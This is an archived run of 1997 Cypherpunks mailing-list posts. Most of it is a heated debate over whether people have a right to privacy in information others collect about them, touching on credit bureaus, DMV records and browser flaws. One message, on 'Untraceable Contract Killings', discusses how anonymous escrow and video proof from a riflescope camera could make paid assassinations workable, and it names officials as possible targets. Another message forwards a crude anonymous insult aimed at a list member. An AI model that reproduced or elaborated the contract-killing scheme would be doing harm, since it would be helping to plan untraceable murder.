> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

You say I misunderstand your position.  I say I disagree with it.  I
disagree to having no property rights to information others collect about
me. I believe that others should not have the right to collect information
about me without my consent.  There lies the difference. Why do you
continue to refuse to understand that I _DISAGREE_ with as opposed to
misunderstand your position?

This isn't about misunderstandings or personality conflicts Declan.  This
is about beliefs.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I don't wish to have congress pass such laws.  I did however state
that I believe there should be a constitutional right to privacy in terms
of shared information - a built in Non Disclosure Agreement between all
interactions.  One does not exist, IMHO it should. 

If I chose to speak in public - as in this forum, I expect that my words
will not be private.  That's a given.  If I speak to XYZ Bank and apply
for a loan or credit card, I want that information to be private.

If I purchase a printed magazine, the publisher doesn't expect me to scan
it in and post it on the net, free for all to access.  In fact, if I were
to do that and persist in doing it, I would get sued for copyright
infringement.

I don't believe in software patents, but I do believe in copyright.  I
believe that what I do, or say should be copyrighted by default.  This
includes spending patterns, and such.  Very much ideal and non-reality,
yes, but it is my belief still.  I also believe Congress shouldn't be
populated by a bunch of money and power hungry slime bags.  That is also
ideal to me, but a non-reality.  Doesn't mean I shouldn't believe it, nor
does it mean I shouldn't have the right to disagree with someone that says
"Congress should be populated by weasels." 

Nor do I believe that TRW or the DMV should have the ability to sell my
information to others without my permission, or collect it for that matter
without a contrat that states how it will be used and who it will be
shared with. Can you name one Credit Card company that DOES NOT share its
info with TRW?  Yes, I can get a debit card, but information about
transactions on it will wind up in the hands of TRW.

That would be an ideal. Unfortunatly, I have been forced to give up some
privacy for things like credit cards and a driver's license.  I don't see
that I've had any other choice than to give up the ability to drive and
purchase things without having to carry large sums of cash.  I was forced
into giving up privacy.  Same as you I suspect.  That doesn't mean I agree
with the system.  It means I didn't have any other choice given basic
needs.  It doesn't mean that given the chance to change it by voting, I
wouldn't. 

Back to the strawman beatings:

I later cited the Netscape hole (or feature if you are paranoid) as an
example of something that could escape my machine and stated that whether
or not I secure my machine, if information escapes it by such methods, my
privacy has been violated.  This was given as a hypothetical example of
protecting one's privacy, yet still having it violated by leaks.

I cannot verify that Netscape's browser won't violate my security.  I am
forced to put some level of trust in it if I chose to use it.  Were I to
ask a Netscape representative whether their software were secure before
this bug/feature was discovered, would they say no?  Sure, I could use IE
or some other browser, but unless I carefully analyze the source code, I
wouldn't know if it had holes.  This paragraph is moot and I'm sure you
understand all this already.
 
> > Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> > has the right to snoop my machines and see what I have there is NOT cool.
> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> 
> I'm not saying that people have a "right to surf (?) it without your
> permission." That's a violation of your property rights, a trespass. But
> if you connect to my web site, I should be allowed to record whatever info
> leaks from your computer. Don't like it? Cut the flow or don't come. 

The keyword here is "leaks."  It doesn't imply with permission.  It
implies the opposite; and here is where I brought the Netscape bug as an
example of a flaw in your thinking.  If they, whether on purpose or not,
have the ability to snarf anything my browser is willing to give them
without my permission, this too is a breech of my privacy.  In this
example, even though I have taken precautions to disable cookies and
DIDN'T enter information as to my email identity, it is still possible to
grab it off my hard drive without my permission.  

Ditto for the ActiveX component that those German hackers wrote to grab
info out of Quicken. Was it the fault of the person surfing that some dork
at Microsoft misdesigned their software?  And because of that, some hacker
got my credit cards and went shopping?  What recourse do I have against
that happening once it does?

How do these breeches fit into your ideals?  You can brush them off and
say "oh, those were bugs or flaws" but privacy has still been violated.
How do you feel they should be dealt with?

Shall we accept rogue software, and Big Brother Inside software as mere
flaws?  True, Netscape will say these were unintentional.  But if they
weren't, -- if they were intentional, would we stand for them and accept
them?

Earlier I asked you a similar line of questions, which you haven't yet
answered (at the time of this writing.)  Again, what recourse do you feel
you should have against such invasions of your privacy?  What
protection(s) do you feel you should have? (Other than stating, if you
don't want it to leak, don't let it - for which I've shown you plenty of
examples of exceptions.)


In yet another message you've stated "chmod 700 ~" as a cure.  Very funny.
A whole lot of good that would do against someone who obtained root, or
managed to grab my ISP's backup tapes, etc...  Doesn't mean I do not
understand that my ISP can't do this.  Doesn't mean Mitnick won't get
out of jail and break into my account.  It means I don't want them to.

Sorry, I still chose to DISAGREE with you.  You might be able to convince
me otherwise with logic, but you won't be able to do so with words such as
"clueless" and "if you only read the whole thing." (Granted the same does
apply to me using the "Fuck you" subject, but hey, free speech and all
that. :) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tcmay at got.net  Fri Jun 13 10:27:18 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 01:27:18 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: 



At 8:19 AM -0700 6/13/97, Declan McCullagh wrote:
>On Thu, 12 Jun 1997, Tim May wrote:
>
>> According to Netscape spokesmen, this feature was added to the kernel of
>> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
>> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
>> Denning asked us to insert the "remote read" capabilities to ensure that
>> the legitimate needs of law enforcement are met. No person cruising the Web
>> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
>Tim misrepresents my position, or does not understand it. I did not say
>that. Rather, I argued that you have no "right of privacy" that allows you
>generally to restrict the right of others to gossip, trade, or otherwise
>share information about you. Such a rule would violate their rights of
>free speech.
>
>Like Marc, I hope there is still some role for truth in the debate about
>privacy issues.

And like Marc, you take satire entirely too seriously.

My one line paraphrasing of your point, ostensibly a deliberately clumsy
rephrasing by Jim Clarke appropriating for his own uses your  general
point, could hardly have been expected to be a fully-nuanced explication of
your point.

Jeesh. You've been in D.C. too long, or have "headed" too many soccer balls
lately.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri Jun 13 10:27:20 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 01:27:20 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: 
Message-ID: 



At 8:55 AM -0700 6/13/97, Declan McCullagh wrote:
>On Fri, 13 Jun 1997, Ray Arachelian wrote:
>> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>> morals, eh?
>
>Far from it. My position is a principled one, not one of convenience.
>
>As a civil libertarian, for instance, I would not support laws that give
>certain journalists more free speech "rights" than a Net-loon with a web
>site.

And I hope Declan does not support so-called "shield laws" which give
reporters protection against having to reveal sources (modulo the
oft-discussed contempt laws).

Declan's "job" is as a reporter. Just a job. Not a special class of rights
as determined by the government. I am as much a "reporter" as Declan is, in
terms of what rights I have. In fact, arguable many of us are reporters, as
we report on what we see and what we think....Brock Meeks started out in a
similar online forum, as did Declan. At what point did they suddenly gain
special protections from interrogations about their sources that the rest
of us don't have?

(I have no problems with private agents, e.g., Microsoft or whatever,
limiting contacts to the "main" reporters. It's their property. If they
grant interviews to Declan, Brock, John, Steve, etc., and not to me, I
cannot claim my "rights" were violated. Government functions are another
matter, and I would generally favor letting anyone claiming to be a
reporter in to government press conferences...to do anything else is to
give licensing and credentials to speech, which the government should have
no right to do. If they need to hold press conferences in RFK Stadium, so
be it.)

The general area of licensing of reporters is fraught with troubles.
(Readers may recall that UNESCO sought to force the United States into
going along with this kind of licensing; the U.S. refused. However, the
"shield laws" are a dangerous step in the direction of such licensing.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Fri Jun 13 10:37:22 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 14 Jun 1997 01:37:22 +0800
Subject: Quadratic residues
In-Reply-To: <199706131000.MAA10625@basement.replay.com>
Message-ID: 



On Fri, 13 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.
> 
>     __o
>   _ \<_  Timmy C. Maya
>  (_)/(_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Fri Jun 13 10:37:29 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 01:37:29 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: 



At 9:51 AM -0700 6/11/97, Bill Stewart wrote:

>really does pay off the killer.  What's novel about Bell's version
>(and I don't know whether it originate with him or not) is that
>it provides a cyberspace-only mechanism for the assassin to
>demonstrate to the payer that he's the one who did the job
>and isn't some wannabe claiming to have done it to collect the cash.
>	(like the wannabes who called newspapers claiming to
>	have been the World Trade Center bombers, etc.)

What really creates a "hit" on the efficiency of Bell's system, as I
understand it, is that the guy who plans to make the hit may plan to do it
on, for example, June 21. This is the date he bets on heavily.

Alas, someone else does the hit on June19th, or 15th, or whatever. (There
are all those dates, distributed on some curve,  implying others are
thinking making the hit, too.)

Or, his target stays indoors all that day. (Possibly by looking at the
betting data!)

There are lots of "noise sources" in such a probabalistic scheme of
sidebets based on outcomes which not even a skilled assassin can control.

>There are alternatives, like posting a photo of the corpse to
>a time-stamping service and then to Usenet, though this adds
>some risk to the assassination, and is less useful for
>public killings (e.g. if the President gets shot,
>and there's a well-known address for the assassination pool,
>the White House Press Corps may try to get their photographs
>into the pool before sending them to Reuters and, umm, AP.)

The "proof" issue has been discussed at various times over the past several
years. This is a matter for the contract negotiations (so to speak). The
purchaser of a hit may specify to the escrow agent that the untraceable
funds are to be anonymously mailed (using message pools, for example) only
if a Quicktime movie of the hit actually happening are submitted. (It would
be fairly trivial to attach a small camcorder to a riflescope, for example,
showing the target being killed by a sniper. Other similar options,
essentially impossible to spoof by pretenders, are quite easy to imagine.
Depends on the method of hitting, of course.)

>The assassin still has to make sure he gets paid, and Bell suggests
>(incorrectly, I think) that since all the payer is doing is
>running a lottery, not contracting for killings, that the payer
>could be a persistent entity with some reputation capital
>who has an incentive to pay off.

As has also been discussed for almost 10 years now, third-party anonymous
escrow agents, whose business is only the holding of funds for release
under conditions they judge to have been met, is an elegant and robust
solution.


>
>>Now in light of the fact that when the target has many enemies the
>>assassination becomes a non-excludable public good, it is almost certain
>>that the scheme cannot actually work in practice.  All of the potential
>>payers would rather free-ride and let others pay, so the public good ends
>>up not being "produced".
>
>I think Bell is imagining that a lot of people would be willing to
>pay $5 for killing high-profile targets, like a few IRS agents,
>so this wouldn't be a problem for the targets _he_ wants killed off.
>Getting people to chip in large amounts of money is tougher.

And it is far, far likelier that someone will use untraceable mechanisms
(cash, markets, escrow) to have an enemy whacked than that a cumbersome,
probabalisitic, highly-publicized market will develop.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Fri Jun 13 10:43:59 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 01:43:59 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706131632.LAA12660@mailhub.amaranth.com>
Message-ID: <199706131654.LAA13008@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706131632.LAA12660 at mailhub.amaranth.com>, on 06/13/97 
   at 11:23 AM, "William H. Geiger III"  said:


>DMV records? They are treated the same as *ANY* state licence, they are
>part of the public record. This includes land titles, auto titles, birth
>certificates, death certificates, marriage & divorce records, any professional license (
>Doctor, Engineer, CPA, Architect, ...ect). As far as your driving record *ALL* court >proceedings are open to the public.

Wow, sorry about that last message my spell checker seems to be on the
blink. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6F8SI9Co1n+aLhhAQGOMgP/SpWIxPPY+0+ZyVBwG44tnofWqQ/jpEn5
9GXx4qa9TOl3kifMeRDj6DbuHBG47UXiswgx+Nb+XCb3YGYHAhWZlKyvzPdqyNZp
96Ao2RLM444/6ayiamDpi/bG8fMkdrKTmvtt+0QMcH8JZTvB8r9ysYpGk9KEMrgu
wEqzfGnTZ0E=
=sh/F
-----END PGP SIGNATURE-----






From declan at well.com  Fri Jun 13 10:52:22 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 01:52:22 +0800
Subject: Cato forum on federal law enforcement
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 12:13:47 -0400 (EDT)
From: Robin Hulsey 
Subject: No More Wacos: What's wrong with federal law enforcement and  how to fix it

NEWS MEDIA ALERT

WHAT:	
Book Forum
No more Wacos: What's wrong with federal law enforcement and how to fix it


WHY:	
On April 19, 1993, federal agents conducted a deadly raid on the Branch
Davidian compound 
at Waco, Texas. The Waco raid was the largest raid in the history of the
Bureau of Alcohol, 
Tobacco and Firearms; it was the largest federal armed entry ever of an
American home; and 
it resulted in the largest number of deaths of law enforcement officers in a
single operation as 
well as the largest number of civilian deaths in a law enforcement
operation. In No More Wacos,
Kopel and Blackman maintain that what happened at Waco was neither a
conspiracy nor a 
fluke. The Waco tragedy instead represents the worst-case scenario of
problems that still plague 
federal law enforcement, including lax procedures involving search warrant
applications and the
militarization of police tactics. The authors will discuss why such
tragedies occur-and how future 
Wacos can be prevented.
	 
 
WHEN:	
4-6 p.m., Thursday, June 19


WHERE:	
F.A. Hayek Auditorium
Cato Institute
1000 Massachusetts Ave. NW
Washington, DC
	

WHO:	 	
David B. Kopel
Independence Institute
		
Paul H. Blackman
National Rifle Association


HOW:		
RSVP to Robin Hulsey, at 202-789-5293 or rhulsey at cato.org 








From tzeruch at ceddec.com  Fri Jun 13 11:42:06 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 14 Jun 1997 02:42:06 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <97Jun13.135323edt.32257@brickwall.ceddec.com>



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> Privacy? What Privacy?
> by Declan McCullagh (declan at well.com)
> 
>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.

I think there is a confusion as to whether "The Net" is a public place or
not, and for most purposes it is.  When I say something in public, I
cannot expect it not to be repeated.  I should have no general right to
privacy in a public place.

When I email, if it is something I don't want to see posted everywhere, I
add a copyright notice of some sort - nonredistribution as a condition of 
use.

I don't think it is considered a breach of the first ammendment not to
allow a newspaper to serialize a book without compensating the author,
even if the book is available at a library.  And lots of things are
considered copyrighted without having the circle-c affixed to it. 

Libertarian means as much finding out about the rules and taking
responsibility for your acts (including unintentional publication), as
having rights.  If a site says they will not redistriubte the information,
and then does, it is a form of fraud.  If they don't say, or if they say
they do redistriubte data, it is up to me if I want to send them the data.

I think many people are uninformed, and simply want to use software
without spending the time figuring out what is going on, so it would help
if the various browsers had better Privacy settings (e.g. Lynx asks me if
I want to accept a cookie, yes, now, always, never, but my current
Netscape just has an Always - Warn (but if I cancel, the transfer stops) -
Never).

There is a minimal right to be informed that the browser allows collecting
all this data, and how to disable it.  I can't force people to read the
manuals, but I don't think it is proper to hide the anti-surveillence
controls on software, and disable them by default.

If a misunderstood or malicious application posted all the data in your
financial files without your knowledge and consent do you think you
shouldn't be able to stop someone else from passing along that information
since you let it leave your computer? 

Give people an informed choice.  Consent isn't possible without knowledge,
and if people know what is going on, they can decide what data they
will allow to leave their computer for public cyberspace.







From sunder at brainlink.com  Fri Jun 13 11:42:40 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 02:42:40 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Tim May wrote:

> Your "go through all your records" point is ambiguous. If others broke into
> your house or office and searched your computer they would be guilty of
> breaking and entering, and probably theft (of your records). Publication of
> your records "all over the net" could be a compounding act, especially in a
> civil action against the thieves.

So, say that someone got your DMV records, found out where you lived, and
murdered you.  Would your family be able to sue the DMV?  Sure it's public
knowledge, but should it be?  Should breeches of privacy be limited to
"Breaking and Entering" or "hacking?"  Isn't the fundemental problem not
simply trespassing, but rather invasion of privacy?  

If I broke into your house, but didn't touch and thing, and didn't damage
anything, I'd still be trespassing, but would you mind?  If so, why?  I'd
bet because it invades your privacy, because it wasn't with your
permission. That's the root violation.  Trespassing is a side issue.

If the tree does fall in the forrest and no one hears it fall, it has
still fallen.  Whether it makes a noise is a question for Zen students. 
That it has fallen is unquestionable.   So I break into your house and
leave no traces and you don't know about it, would you care? 

What if I release the pictures of your house to the world?  What if I take
them using a telephoto lens from a distance?  What if I use IR scans of
your house to see what you're doing?  Or use microwaves bouncing off
metal objects, or IR lasers bouncing off your windows to listen in? At
what point does it become an invasion of privacy?  And what point would
you say I've gone too far?

Personally, I'd say it's too far when someone's going through my trash and
parking a van outside my house.  But that's my oppinion.


> However, if the "go through all your records" is really just collecting and
> compiling your public utterances, or information you gave to others (with
> no contractual agreement of secrecy), etc., then there is really no
> generalized "right to privacy."

If they are public records that were generated with my consent.  And yes,
I do agree with the above paragraph.  It's a big IF though.  But do I
consent to the DMV giving out my info?  Would I consent to the IRS giving
out my tax return?  Would I consent to TRW giving out credit reports to
anyone who is willing to pay the $50?  Not fucking likely.  Doesn't mean I
have any choice in the matter.  At no point did I sign any piece of paper
telling TRW they have the right to give out my info to anyone willing to
cough up the money.

> In a free and open society people are free to take any information they
> have gathered or compiled, cross-indexed and compiled, and sell it or do as
> they wish with it. "Tim's Dossier Service" is free to compile dossiers
> based on any records he can find.

Depends on what that info is and how it was obtained.  If your dossier
contains my credit cards, I can turn around and sue you, even though you
might have paid TRW to get that info or whatever.

If my phone number is unlisted and I share it with my CC company, and they
in turn release it to TRW, and you get it from them and post it to the
world, then I could sue my CC company, but it would be too late.  Sure, I
protect my info, but if someone didn't respect that, what recourse do I
have against them?  Once the info is out, it's out.
 
> ("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
> and want laws regulating such things. They even want laws regulating the
> searching of past postings on Usenet, services likek DejaNews and
> AltaVista.)

Depends on what that information is.  There are robot rule files for your
web site that say "Don't catalog this," and web masters do get pissed if
it does.  Public postings are public. This is granted.  I'm not saying
what I write in public is considered private.  I chose to retain copyright
on it, but waive the distribution restrictions. This is granted. 

Further, if you are making money off my information, and if that
information was not publically available, but you sell it, should I not
have the right to get a slice of your profits - assuming I even agree to
let you sell it?

The question is, should you have the right to collect info that I do not
relese to others publically, and make it public.  After all, if not for
protecting our privacy, what reasons would we need encryption?  What
reasons would we have for the existance of cypherpunks were not cyphers
ultimatly useful in obtaining privacy?  For the coolness of their
mathematical properties only?  For signatures only? Not fucking likely. 
Ask yourself why you favor the use cyphers, Tim.  If you don't say
"privacy" then get the fuck off this list.  Ditto for Declan.  (Of course,
this can't apply to the NSA since they have a different agenda on this
list, but that too is a given.) :)

> So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
> and you can send ASCII art to the list.

I must admit, I am surprised at you, but no I don't robospam folks, and I
wouldn't borrow one from Vulis.

Perhaps you can turn around and say "Ray's on the rag" or "gone loony",
but I do feel strongly that information that I share with others should be
kept private unless I say so.  Ditto for "private" email.  (Quotes placed
to indicate how easily it is for bad folks to snoop unencrypted email.)

Perhaps I may be overly sensitive to the issue because Vulis (you did
bring his name up, so live with it) posted whatever public information he
could gain in a nice easily digestible package - much like Tim's Dossier
Service could and threated to send my employers weird email, and in the
same postings posted racist crap, but that was only PUBLICALLY available
info.  I retaliated by doing the same, but imagine how pissed I would be
were this info that wasn't publically available - like credit card
numbers, tax return info, etc... 

So yes, you can say, you need to live in a society that is free and open,
and yes, I can disagree with you and say you're scum for thinking that you
can freely collect info I consider private and then sell it.  It is after
all my right to disagree with this, and my right to freely say that I do. 

And of course this is a publically posted message, so go ahead and place
it in your dossier. :)



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From whgiii at amaranth.com  Fri Jun 13 12:03:34 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 03:03:34 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <199706131821.NAA14221@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/13/97 
   at 01:58 PM, Ray Arachelian  said:

>So, say that someone got your DMV records, found out where you lived, and
>murdered you.  Would your family be able to sue the DMV?  Sure it's
>public knowledge, but should it be?  Should breeches of privacy be
>limited to "Breaking and Entering" or "hacking?"  Isn't the fundemental
>problem not simply trespassing, but rather invasion of privacy?  

Ray you seem to be missing the point here.

Any state issued permit is public record. This includes your drivers
license and your auto registration.

It is imperative that in a democracy that the public know who and what the
state is giving permits to (there whole other issue of wether the state
should be issuing permits at all but that should be left to another
thread).

In a free and open society the public must be able to review the actions
of its government.

If Joe Sixpack has run over 20 people because he gets his kicks out of it
and the DMV still issues him a license the public has a right to know.

If the California DMV is secretly denying driving license to anyone who
posts to the cypherpunks list the only way anyone would know is by
examining the DMV records.

If the state is going to issue permits on what people can and can not do
the it is crutial that the public can examine these records to insure that
the state is not abusing this power.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6GQmo9Co1n+aLhhAQGABwP+OWqazI5cQ7ySLbCZOoq0vmJEhpq6BDg7
3W5x8Ghp+zWIDMt02fyGBgUvROfbgr0SU3Qt26Lu9udMleW400mk3lQYvadPOKMU
Utpgr8octdaKfSNzO3S6LfyME6Ouoy4GhyJ/0rQPZBKJZbWrH5fSTzCB00jck6Uo
YVRHdDKeDV0=
=xqpR
-----END PGP SIGNATURE-----






From tzeruch at ceddec.com  Fri Jun 13 12:04:10 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 14 Jun 1997 03:04:10 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <97Jun13.142726edt.32257@brickwall.ceddec.com>



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Get a clue. I did:
> 
>         Of course there's an essential right to privacy from the
>    government. (Beware government databases: Nazis used census data in
>    Germany and Holland to track down and eliminate undesirables.)

Today the Nazi's would simply pay Experian (was TRW) for their databases. 
I think the IRS already does. 

Private databases collect a lot of data that I am not asked about, or from
government, or that I am required to turn over (e.g. Government requires a
taxpayer ID number to open a bank account, so I can't shop for a bank that
offers privacy as an option, but they will then turn around and give the
information to the databasers).  Since the Government is the origin of the
Social Security Number, and requires its use in many instances, there
should be a law that I should be able to remove any government-required
information removed from any non-governmental-required database.  This may
restrict my access to things like credit (they have the right to say, no
SSN, no credit, which is where I differ with most privacy advocates), but
I should have that choice.

Right now, the lines are too fuzzy.  I think government and private
databases should be disjoint.  Otherwise "private databases" are just a
way for government to evade any restriction on collection or use.

And do they have the right to hold stale or inaccurate data?  And can they
use fraudulent means of obtaining it, or archive data obtained by such
means?






From randerso at ece.eng.wayne.edu  Fri Jun 13 12:04:27 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 14 Jun 1997 03:04:27 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Bill Frantz wrote:

> >pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
> >sig                        John Doe   (0xFFFFFFFF)
> >sig                        Mary Jane  (0xAAAAAAAA)
> >sig                        Tom Thumb  (0x11111111)
> >sig                        Tiny Tim   (0xCCCCCCCC)
> >aka                        John Doe john.doe at who-is-it.com
> >sig                        John Doe   (0xFFFFFFFF)
> >
> >Since John Doe is the only one who could sign the key with the new aka one
> >can assume that the aka is as valid as the original userid.
> 
> So if John Doe wants to be known as "president at whitehouse.gov" or "Tim May
> " all he has to do is change the field, and upload the
> changed key to the key servers, and all the signatures should remain good?

Well, no, not really.  See, the way PGP handles keys (at least the RSA
keys) makes it very difficult to remove an id once it's hit a keyserver.

Oh yeah, a signature also encompasses the key-id that you sign when you
sign the key.  So the signatures would fail if the key-id they referred to
was drastically changed...

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From paul at fatmans.demon.co.uk  Fri Jun 13 12:06:04 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 03:06:04 +0800
Subject: Burn flag = unconstitutional
In-Reply-To: <199706130033.TAA12063@einstein.ssz.com>
Message-ID: 





> >    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
> >    constitutional amendment against flag desecration, an issue pushed by
> >    conservatives since Republicans took over Congress in 1995.
> >    
> >    The House tally, held two days before Flag Day, was 310-114.

Sigh, as we well know this is another ammendment (for another good example 
look at say the 18th) which degrades the US constitution and bill of 
rights by making the whole thing self contradictory. I now assume that 
flag burning will have penalties, and that "inciting" flag burning will 
be criminal???

All of those in the US: Time to get out the stars and stripes, some gasoline 
and the matches.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 






From cmefford at avwashington.com  Fri Jun 13 12:09:55 1997
From: cmefford at avwashington.com (Chip Mefford)
Date: Sat, 14 Jun 1997 03:09:55 +0800
Subject: Life inside the Beltway
Message-ID: 




New technology for the cops. It brings tears of joy to
my eyes to think of all the children that this new
technology will save.




-------------begin included text--------------------------

Alexandria police have a new high-tech tool to help
them catch fugitives and find missing people.
Police officials last week unveiled new digital
scanners and cellular transmitters that allow
cruisers to transmit photographs in less than a
minute. That means an officer can scan in a family
photo of a lost child and send it to all active
patrol cars nearly instantly.

The technology also lets the police send photos to
the National Center for Missing and Exploited
Children, which can then pass information on to
other police departments.

"In the search for a missing child, time is the
enemy," said Ernie Allen, president of the
Arlington-based center. "The more quickly we can
provide a child's image, the greater the likelihood
we can find the child."

Alexandria and College Station, Tex., are the first
two police departments in the country to get this
image technology, officials said. Although the two
departments use different computer systems, they
are able to send pictures to each other via a
computer center in Florida.

At a demonstration last week, a College Station car
sent a photo to an Alexandria cruiser in about 40
seconds, and a photo from the National Center took
about the same time. It takes the same amount of
time to send a photo to one car as to broadcast it
to all of the cruisers, allowing the department to
